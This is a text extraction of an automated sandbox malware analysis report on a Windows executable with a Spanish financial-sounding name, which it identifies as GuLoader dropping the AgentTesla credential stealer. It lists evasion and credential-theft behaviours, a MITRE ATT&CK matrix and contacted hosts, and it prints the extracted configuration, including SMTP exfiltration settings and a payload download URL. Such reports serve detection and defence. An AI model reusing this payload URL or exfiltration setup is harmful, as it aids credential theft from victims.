Automated Malware Analysis Report for Liquidaci#Ufffdn por ...
-
Upload
khangminh22 -
Category
Documents
-
view
1 -
download
0
Transcript of Automated Malware Analysis Report for Liquidaci#Ufffdn por ...
ID: 615124Sample Name: Liquidaci#Ufffdnpor Factorizaci#Ufffdn deCr#Ufffdditos.exeCookbook: default.jbsTime: 19:42:29Date: 25/04/2022Version: 34.0.0 Boulder Opal
2444444444444555555555666677888888
101010101516
16171717171717171717171718181819191919202020202021212222222323
232324
Table of Contents
Table of ContentsWindows Analysis Report Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe
OverviewGeneral InformationDetectionSignaturesClassification
Process TreeMalware Configuration
Threatname: AgentteslaThreatname: GuLoader
Yara SignaturesMemory Dumps
Sigma SignaturesSnort SignaturesJoe Sandbox Signatures
AV DetectionNetworkingData ObfuscationMalware Analysis System EvasionAnti DebuggingHIPS / PFW / Operating System Protection EvasionStealing of Sensitive InformationRemote Access Functionality
Mitre Att&ck MatrixBehavior GraphScreenshots
ThumbnailsAntivirus, Machine Learning and Genetic Malware Detection
Initial SampleDropped FilesUnpacked PE FilesDomainsURLs
Domains and IPsContacted DomainsContacted URLsURLs from Memory and BinariesWorld Map of Contacted IPs
Public IPs
General InformationWarnings
SimulationsBehavior and APIs
Joe Sandbox View / ContextIPsDomainsASNsJA3 FingerprintsDropped Files
Created / dropped FilesC:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506C:\Users\user\AppData\Local\Temp\ArtDeco_green_1.bmpC:\Users\user\AppData\Local\Temp\Forelbige.extC:\Users\user\AppData\Local\Temp\microphone-hardware-disabled-symbolic.svgC:\Users\user\AppData\Local\Temp\nsoA828.tmp\System.dll\Device\ConDrv
Static File InfoGeneralFile IconStatic PE Info
GeneralAuthenticode SignatureEntrypoint PreviewRich HeadersData DirectoriesSectionsResourcesImportsVersion InfosPossible Origin
Network BehaviorNetwork Port DistributionTCP Packets
Copyright Joe Security LLC 2022 Page 2 of 50
26262626264647474747474747
474848484949
505050
50
UDP PacketsDNS QueriesDNS AnswersHTTP Request Dependency GraphHTTPS Proxied PacketsSMTP Packets
StatisticsBehavior
System BehaviorAnalysis Process: Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exePID: 7072, Parent PID: 5432
GeneralFile ActivitiesRegistry Activities
Analysis Process: CasPol.exePID: 400, Parent PID: 7072GeneralFile Activities
File CreatedFile WrittenFile Read
Analysis Process: conhost.exePID: 408, Parent PID: 400GeneralFile Activities
Disassembly
Copyright Joe Security LLC 2022 Page 3 of 50
Windows Analysis Report Liquidaci#U fdn por Factorizaci#U fdn de Cr#U fdditos.exe
Overview
General Information
Sample Name:
Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe
Analysis ID: 615124
MD5: 6b6bd25a3f0e24…
SHA1: d9c4384e0ecc21…
SHA256: 2ed3b8699c5693…
Infos:
Detection
AgentTeslaGuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%
Signatures
Found malware configuration
Multi AV Scanner detection for subm…
Yara detected AgentTesla
Yara detected GuLoader
Hides threads from debuggers
Tries to steal Mail credentials (via fi…
Writes to foreign memory regions
Tries to harvest and steal Putty / W…
Tries to detect Any.run
Tries to harvest and steal ftp login c…
Tries to detect sandboxes and other…
C2 URLs / IPs found in malware con…
Queries sensitive network adapter in…
Tries to harvest and steal browser in…
Queries sensitive BIOS Information…
Uses 32bit PE files
Queries the volume information (nam…
May sleep (evasive loops) to hinder…
Contains functionality to shutdown /…
Uses code obfuscation techniques (…
Internet Provider seen in connection…
Detected potential crypto function
Sample execution stops while proce…
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in co…
Contains functionality to call native …
Contains functionality to dynamicall…
IP address seen in connection with …
Contains functionality for execution …
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / U…
PE file contains strange resources
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PE…
Uses a known web browser user age…
Detected TCP or UDP traffic on non…
Classification
Ransomware
Spreading
Phishing
Banker
Trojan / Bot
Adware
Spyware
Exploiter
Evader
Miner
clean
clean
clean
clean
clean
clean
clean
suspicious
suspicious
suspicious
suspicious
suspicious
suspicious
suspicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
System is w10x64native
Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe (PID: 7072 cmdline: "C:\Users\user\Desktop\Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe" MD5:
6B6BD25A3F0E2419EF5D628E66117E82)CasPol.exe (PID: 400 cmdline: "C:\Users\user\Desktop\Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)
conhost.exe (PID: 408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
cleanup
{ "Exfil Mode": "SMTP", "SMTP Info": "[email protected][email protected]"}
{ "Payload URL": "https://drive.google.com/uc?export=download&id=1F1Mc9Vh_X4KMsNX2l2mxKct0fg4HulwM"}
Source Rule Description Author Strings
00000001.00000002.10384703021.0000000003771000.00000040.00001000.00020000.00000000.sdmp
JoeSecurity_GuLoader_2
Yara detected GuLoader
Joe Security
Process Tree
Malware Configuration
Threatname: Agenttesla
Threatname: GuLoader
Yara Signatures
Memory Dumps
Copyright Joe Security LLC 2022 Page 4 of 50
AV Detection
Networking
Data Obfuscation
Malware Analysis System Evasion
Anti Debugging
HIPS / PFW / Operating System Protection Evasion
00000003.00000002.15206254157.000000001D591000.00000004.00000800.00020000.00000000.sdmp
JoeSecurity_AgentTesla_1
Yara detected AgentTesla
Joe Security
00000003.00000002.15206254157.000000001D591000.00000004.00000800.00020000.00000000.sdmp
JoeSecurity_CredentialStealer
Yara detected Credential Stealer
Joe Security
00000003.00000000.10264792485.0000000000F00000.00000040.00000400.00020000.00000000.sdmp
JoeSecurity_GuLoader_2
Yara detected GuLoader
Joe Security
Process Memory Space: CasPol.exe PID: 400 JoeSecurity_AgentTesla_1
Yara detected AgentTesla
Joe Security
Click to see the 1 entries
Source Rule Description Author Strings
There are no malicious signatures, There are no malicious signatures, click here to show all signaturesclick here to show all signatures ..
⊘ No Snort rule has matched
Sigma Signatures
Snort Signatures
Joe Sandbox Signatures
Found malware configuration
Multi AV Scanner detection for submitted file
C2 URLs / IPs found in malware configuration
Yara detected GuLoader
Tries to detect Any.run
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Hides threads from debuggers
Writes to foreign memory regions
Copyright Joe Security LLC 2022 Page 5 of 50
Stealing of Sensitive Information
Remote Access Functionality
InitialAccess
Execution PersistencePrivilegeEscalation
DefenseEvasion
CredentialAccess
DiscoveryLateralMovement
Collection ExfiltrationCommandandControl
NetworkEffects
RemoteServiceEffects
Impact
ValidAccounts
2 1 1WindowsManagementInstrumentation
1DLL Side-Loading
1DLL Side-Loading
1Disable orModifyTools
2OSCredentialDumping
2File andDirectoryDiscovery
RemoteServices
1ArchiveCollectedData
ExfiltrationOver OtherNetworkMedium
1IngressToolTransfer
Eavesdropon InsecureNetworkCommunication
RemotelyTrackDeviceWithoutAuthorization
1SystemShutdown/Reboot
DefaultAccounts
1Native API
1WindowsService
1AccessTokenManipulation
1ObfuscatedFiles orInformation
1Credentialsin Registry
1 1 7SystemInformationDiscovery
RemoteDesktopProtocol
2Data fromLocalSystem
ExfiltrationOverBluetooth
2 1EncryptedChannel
Exploit SS7to RedirectPhoneCalls/SMS
RemotelyWipe DataWithoutAuthorization
DeviceLockout
DomainAccounts
At (Linux) LogonScript(Windows)
1WindowsService
1DLL Side-Loading
SecurityAccountManager
1QueryRegistry
SMB/Windows AdminShares
1EmailCollection
AutomatedExfiltration
1Non-StandardPort
Exploit SS7to TrackDeviceLocation
ObtainDeviceCloudBackups
DeleteDeviceData
LocalAccounts
At(Windows)
LogonScript(Mac)
1 1 1ProcessInjection
3 4 1Virtualization/SandboxEvasion
NTDS 4 3 1SecuritySoftwareDiscovery
DistributedComponentObjectModel
1ClipboardData
ScheduledTransfer
2Non-ApplicationLayerProtocol
SIM CardSwap
CarrierBillingFraud
CloudAccounts
Cron NetworkLogonScript
NetworkLogonScript
1AccessTokenManipulation
LSASecrets
1ProcessDiscovery
SSH Keylogging DataTransferSize Limits
1 2 3ApplicationLayerProtocol
ManipulateDeviceCommunication
ManipulateApp StoreRankingsor Ratings
ReplicationThroughRemovableMedia
Launchd Rc.common
Rc.common
1 1 1ProcessInjection
CachedDomainCredentials
3 4 1Virtualization/SandboxEvasion
VNC GUI InputCapture
ExfiltrationOver C2Channel
MultibandCommunication
Jamming orDenial ofService
AbuseAccessibility Features
ExternalRemoteServices
ScheduledTask
StartupItems
StartupItems
CompileAfterDelivery
DCSync 1ApplicationWindowDiscovery
WindowsRemoteManagement
Web PortalCapture
ExfiltrationOverAlternativeProtocol
CommonlyUsed Port
Rogue Wi-Fi AccessPoints
DataEncryptedfor Impact
Yara detected AgentTesla
Tries to steal Mail credentials (via file / registry access)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to harvest and steal browser information (history, passwords, etc)
Yara detected AgentTesla
Mitre Att&ck Matrix
Behavior Graph
Copyright Joe Security LLC 2022 Page 6 of 50
Behavior Graph
ID: 615124
Sample: Liquidaci#Ufffdn por Factor...
Startdate: 25/04/2022
Architecture: WINDOWS
Score: 100
mail.ferdi.hu googlehosted.l.googleusercontent.com 2 other IPs or domains
Found malware configuration Multi AV Scanner detectionfor submitted file Yara detected GuLoader 3 other signatures
Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe
1 21
started
C:\Users\user\AppData\Local\...\System.dll, PE32
dropped
Writes to foreign memoryregions Tries to detect Any.run Hides threads from debuggers
CasPol.exe
11
started
mail.ferdi.hu
185.51.191.23, 49756, 587
TARHELYHU
Hungary
drive.google.com
142.250.185.174, 443, 49745
GOOGLEUS
United States
googlehosted.l.googleusercontent.com
172.217.16.129, 443, 49746
GOOGLEUS
United States
Tries to harvest andsteal Putty / WinSCP
information (sessions,passwords, etc)
Queries sensitive networkadapter information
(via WMI, Win32_NetworkAdapter,often done to detect
virtual machines)
Tries to steal Mailcredentials (via file/ registry access)
5 other signatures
conhost.exe
started
Legend:
Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet
Hide Legend
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
Screenshots
Thumbnails
Copyright Joe Security LLC 2022 Page 7 of 50
Source Detection Scanner Label Link
Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe 8% Virustotal Browse
Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe 2% ReversingLabs
Source Detection Scanner Label Link
C:\Users\user\AppData\Local\Temp\nsoA828.tmp\System.dll 0% Metadefender Browse
C:\Users\user\AppData\Local\Temp\nsoA828.tmp\System.dll 0% ReversingLabs
⊘ No Antivirus matches
⊘ No Antivirus matches
Source Detection Scanner Label Link
127.0.0.1:HTTP/1.1 0% Avira URL Cloud safe
fedir.comsign.co.il/crl/ComSignSecuredCA.crl0 0% Virustotal Browse
fedir.comsign.co.il/crl/ComSignSecuredCA.crl0 0% Avira URL Cloud safe
www.e-me.lv/repository0 1% Virustotal Browse
www.e-me.lv/repository0 0% Avira URL Cloud safe
www.acabogacia.org/doc0 0% Avira URL Cloud safe
crl.chambersign.org/chambersroot.crl0 0% Avira URL Cloud safe
ocsp.suscerte.gob.ve0 0% Avira URL Cloud safe
Antivirus, Machine Learning and Genetic Malware Detection
Initial Sample
Dropped Files
Unpacked PE Files
Domains
URLs
Copyright Joe Security LLC 2022 Page 8 of 50
www.postsignum.cz/crl/psrootqca2.crl02 0% Avira URL Cloud safe
crl.dhimyotis.com/certignarootca.crl0 0% Avira URL Cloud safe
www.mesince.com/policy/0 0% Avira URL Cloud safe
www.chambersign.org1 0% Avira URL Cloud safe
www.pkioverheid.nl/policies/root-policy0 0% Avira URL Cloud safe
www.suscerte.gob.ve/lcr0# 0% Avira URL Cloud safe
ca2.mtin.es/mtin/crl/MTINAutoridadRaiz0 0% Avira URL Cloud safe
crl.ssc.lt/root-c/cacrl.crl0 0% Avira URL Cloud safe
postsignum.ttc.cz/crl/psrootqca2.crl0 0% Avira URL Cloud safe
www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl 0% Avira URL Cloud safe
ca.disig.sk/ca/crl/ca_disig.crl0 0% Avira URL Cloud safe
www.certplus.com/CRL/class3P.crl0 0% Avira URL Cloud safe
www.suscerte.gob.ve/dpc0 0% Avira URL Cloud safe
www.certplus.com/CRL/class2.crl0 0% Avira URL Cloud safe
www.disig.sk/ca/crl/ca_disig.crl0 0% Avira URL Cloud safe
www.defence.gov.au/pki0 0% Avira URL Cloud safe
www.sk.ee/cps/0 0% Avira URL Cloud safe
www.globaltrust.info0= 0% Avira URL Cloud safe
cps.root-x1.letsencrypt.org0 0% Avira URL Cloud safe
policy.camerfirma.com0 0% Avira URL Cloud safe
www.ssc.lt/cps03 0% Avira URL Cloud safe
ocsp.pki.gva.es0 0% Avira URL Cloud safe
acraiz.icpbrasil.gov.br/DPCacraiz.pdf0? 0% Avira URL Cloud safe
ca.mtin.es/mtin/ocsp0 0% Avira URL Cloud safe
cps.letsencrypt.org0 0% Avira URL Cloud safe
crl.ssc.lt/root-b/cacrl.crl0 0% Avira URL Cloud safe
web.ncdc.gov.sa/crl/nrcacomb1.crl0 0% Avira URL Cloud safe
www.uce.gub.uy/informacion-tecnica/politicas/cp_acrn.pdf0G 0% Avira URL Cloud safe
https://wwww.certigna.fr/autorites/0m 0% Avira URL Cloud safe
www.ica.co.il/repository/cps/PersonalID_Practice_Statement.pdf0 0% Avira URL Cloud safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www
0% Avira URL Cloud safe
ca.mtin.es/mtin/DPCyPoliticas0 0% Avira URL Cloud safe
https://hSv8qR2SzDYEFZneLg7J.com 0% Avira URL Cloud safe
www.globaltrust.info0 0% Avira URL Cloud safe
ac.economia.gob.mx/last.crl0G 0% Avira URL Cloud safe
https://www.catcert.net/verarrel 0% Avira URL Cloud safe
www.disig.sk/ca0f 0% Avira URL Cloud safe
www.sk.ee/juur/crl/0 0% Avira URL Cloud safe
crl.chambersign.org/chambersignroot.crl0 0% Avira URL Cloud safe
certs.oati.net/repository/OATICA2.crl0 0% Avira URL Cloud safe
crl.oces.trust2408.com/oces.crl0 0% Avira URL Cloud safe
www.quovadis.bm0 0% Avira URL Cloud safe
IOywau.com 0% Avira URL Cloud safe
crl.ssc.lt/root-a/cacrl.crl0 0% Avira URL Cloud safe
certs.oaticerts.com/repository/OATICA2.crl 0% Avira URL Cloud safe
www.trustdst.com/certificates/policy/ACES-index.html0 0% Avira URL Cloud safe
certs.oati.net/repository/OATICA2.crt0 0% Avira URL Cloud safe
www.accv.es00 0% Avira URL Cloud safe
www.pkioverheid.nl/policies/root-policy-G20 0% Avira URL Cloud safe
www.e-trust.be/CPS/QNcerts 0% Avira URL Cloud safe
ocsp.ncdc.gov.sa0 0% Avira URL Cloud safe
fedir.comsign.co.il/crl/ComSignCA.crl0 0% Avira URL Cloud safe
trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0 0% Avira URL Cloud safe
web.ncdc.gov.sa/crl/nrcaparta1.crl 0% Avira URL Cloud safe
mail.ferdi.hu 0% Avira URL Cloud safe
https://repository.luxtrust.lu0 0% Avira URL Cloud safe
cps.chambersign.org/cps/chambersroot.html0 0% Avira URL Cloud safe
www.acabogacia.org0 0% Avira URL Cloud safe
Source Detection Scanner Label Link
Copyright Joe Security LLC 2022 Page 9 of 50
www.uce.gub.uy/acrn/acrn.crl0 0% Avira URL Cloud safe
crl.mesince.com/ms.crl0 0% Avira URL Cloud safe
crl.securetrust.com/SGCA.crl0 0% Avira URL Cloud safe
fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0 0% Avira URL Cloud safe
www.agesic.gub.uy/acrn/acrn.crl0) 0% Avira URL Cloud safe
crl.securetrust.com/STCA.crl0 0% Avira URL Cloud safe
crl.mesince.com/ms-tsa.crl0F 0% Avira URL Cloud safe
r3.i.lencr.org/0 0% Avira URL Cloud safe
www.rcsc.lt/repository0 0% Avira URL Cloud safe
www2.postsignum.cz/crl/psrootqca2.crl01 0% Avira URL Cloud safe
x1.c.lencr.org/0 0% Avira URL Cloud safe
Source Detection Scanner Label Link
Name IP Active Malicious Antivirus Detection Reputation
drive.google.com 142.250.185.174 true false high
googlehosted.l.googleusercontent.com 172.217.16.129 true false high
mail.ferdi.hu 185.51.191.23 true true unknown
doc-0c-2o-docs.googleusercontent.com unknown unknown false high
Name Malicious Antivirus Detection Reputation
https://doc-0c-2o-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/bp0aag9i5ef1cv699367mhnadd9582eu/1650908625000/16604084202803386675/*/1F1Mc9Vh_X4KMsNX2l2mxKct0fg4HulwM?e=download
false high
Name Source Malicious Antivirus Detection Reputation
127.0.0.1:HTTP/1.1 CasPol.exe, 00000003.00000002.15206254157.000000001D591000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe low
fedir.comsign.co.il/crl/ComSignSecuredCA.crl0 CasPol.exe, 00000003.00000003.10533287924.0000000020699000.00000004.00000800.00020000.00000000.sdmp
false 0%, Virustotal, BrowseAvira URL Cloud: safe
unknown
https://doc-0c-2o-docs.googleusercontent.com/tography
CasPol.exe, 00000003.00000003.10358900357.00000000012B0000.00000004.00000020.00020000.00000000.sdmp
false high
www.e-me.lv/repository0 CasPol.exe, 00000003.00000003.10525913075.000000002077E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10526561189.0000000020784000.00000004.00000800.00020000.00000000.sdmp
false 1%, Virustotal, BrowseAvira URL Cloud: safe
unknown
www.acabogacia.org/doc0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10531875778.00000000206AD000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
crl.chambersign.org/chambersroot.crl0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
ocsp.suscerte.gob.ve0 CasPol.exe, 00000003.00000003.10531875778.00000000206AD000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.postsignum.cz/crl/psrootqca2.crl02 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
crl.dhimyotis.com/certignarootca.crl0 CasPol.exe, 00000003.00000003.10526898028.0000000020774000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
Domains and IPs
Contacted Domains
Contacted URLs
URLs from Memory and Binaries
Copyright Joe Security LLC 2022 Page 10 of 50
sertifikati.ca.posta.rs/crl/PostaCARoot.crl0 CasPol.exe, 00000003.00000003.10531875778.00000000206AD000.00000004.00000800.00020000.00000000.sdmp
false high
www.mesince.com/policy/0 Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe
false Avira URL Cloud: safe unknown
www.chambersign.org1 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.pkioverheid.nl/policies/root-policy0 CasPol.exe, 00000003.00000003.10526786214.000000001F82A000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
repository.swisssign.com/0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10531875778.00000000206AD000.00000004.00000800.00020000.00000000.sdmp
false high
www.suscerte.gob.ve/lcr0# CasPol.exe, 00000003.00000003.10531875778.00000000206AD000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
ca2.mtin.es/mtin/crl/MTINAutoridadRaiz0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
crl.ssc.lt/root-c/cacrl.crl0 CasPol.exe, 00000003.00000003.10525913075.000000002077E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10527245102.000000002077E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10526972217.000000002077E000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
postsignum.ttc.cz/crl/psrootqca2.crl0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
https://drive.google.com/oe CasPol.exe, 00000003.00000002.15183206251.000000000123B000.00000004.00000020.00020000.00000000.sdmp
false high
ca.disig.sk/ca/crl/ca_disig.crl0 CasPol.exe, 00000003.00000002.15213552830.000000001F7D9000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.certplus.com/CRL/class3P.crl0 CasPol.exe, 00000003.00000003.10527099500.000000001F825000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.suscerte.gob.ve/dpc0 CasPol.exe, 00000003.00000003.10531875778.00000000206AD000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.certplus.com/CRL/class2.crl0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.disig.sk/ca/crl/ca_disig.crl0 CasPol.exe, 00000003.00000002.15213552830.000000001F7D9000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
eca.hinet.net/repository/Certs/IssuedToThisCA.p7b05CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false high
www.defence.gov.au/pki0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
https://drive.google.com/ CasPol.exe, 00000003.00000002.15183206251.000000000123B000.00000004.00000020.00020000.00000000.sdmp
false high
www.sk.ee/cps/0 CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.globaltrust.info0= CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe low
www.anf.es CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false high
Name Source Malicious Antivirus Detection Reputation
Copyright Joe Security LLC 2022 Page 11 of 50
www.pki.admin.ch/cps/CPS_2_16_756_1_17_3_1_0.pdf09
CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false high
pki.registradores.org/normativa/index.htm0 CasPol.exe, 00000003.00000003.10527099500.000000001F825000.00000004.00000800.00020000.00000000.sdmp
false high
cps.root-x1.letsencrypt.org0 CasPol.exe, 00000003.00000002.15213552830.000000001F7D9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10517276404.000000001F7FC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.15213389429.000000001F7BA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10520257216.000000001F7FA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.15207830979.000000001D6AC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10508659557.000000001F7FF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10507944663.000000001F7FF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.15217426680.000000002078E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10533101751.000000001F816000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
policy.camerfirma.com0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.ssc.lt/cps03 CasPol.exe, 00000003.00000003.10525913075.000000002077E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10527245102.000000002077E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10526972217.000000002077E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
ocsp.pki.gva.es0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.anf.es/es/address-direccion.html CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false high
acraiz.icpbrasil.gov.br/DPCacraiz.pdf0? CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
ca.mtin.es/mtin/ocsp0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
cps.letsencrypt.org0 CasPol.exe, 00000003.00000002.15213552830.000000001F7D9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10517276404.000000001F7FC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.15213389429.000000001F7BA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10520257216.000000001F7FA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.15207830979.000000001D6AC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10508659557.000000001F7FF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10507944663.000000001F7FF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10533101751.000000001F816000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
crl.ssc.lt/root-b/cacrl.crl0 CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
web.ncdc.gov.sa/crl/nrcacomb1.crl0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
Name Source Malicious Antivirus Detection Reputation
Copyright Joe Security LLC 2022 Page 12 of 50
www.uce.gub.uy/informacion-tecnica/politicas/cp_acrn.pdf0G
CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
crl.pki.wellsfargo.com/wsprca.crl0 CasPol.exe, 00000003.00000003.10531875778.00000000206AD000.00000004.00000800.00020000.00000000.sdmp
false high
https://wwww.certigna.fr/autorites/0m CasPol.exe, 00000003.00000003.10526898028.0000000020774000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.ica.co.il/repository/cps/PersonalID_Practice_Statement.pdf0
CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www
CasPol.exe, 00000003.00000002.15206254157.000000001D591000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
ca.mtin.es/mtin/DPCyPoliticas0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
https://hSv8qR2SzDYEFZneLg7J.com CasPol.exe, 00000003.00000002.15207279366.000000001D63A000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
nsis.sf.net/NSIS_ErrorError Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe
false high
